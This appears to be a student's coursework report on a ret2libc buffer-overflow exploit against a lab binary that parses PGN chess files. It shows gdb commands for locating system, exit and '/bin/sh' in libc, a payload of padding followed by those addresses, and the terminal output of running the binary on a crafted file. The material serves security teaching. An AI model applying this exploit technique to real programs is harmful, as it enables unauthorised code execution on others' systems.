

## Report for Question 4

By 2018201103

- **Getting addresses of system, exit and /bin/sh**

## Using gdb to find the addresses

b main

```
r mal_file1.pgn
```

p system

p exit

info proc map

```
find <starting address of libc> , <end address of libc> , "/bin/sh"
```

- **Change in payload**

```
payload = "A"*1036 + conv(0xb7e53310) + conv(0xb7e46260) + conv(0xb7f75d4c)
```

- **Output**

```
osboxes@osboxes:~/Downloads/Assignment-3$ uname -a
Linux osboxes 4.4.0-142-generic #168-14.04.1-Ubuntu SMP Sat Jan 19 11:28:33 UTC 2019 i686 i686 GNU/Linux
osboxes@osboxes:~/Downloads/Assignment-3$ md5sum bin4
eb3b6e897b99b265a8fea94a8a0101dc bin4
osboxes@osboxes:~/Downloads/Assignment-3$ ./bin4 mal_file4.pgn
##### State Ch. #####
```

White :: Capablanca

Black :: Jaffe

Results :: 1-0

##### COMMENTS #####

[illegible]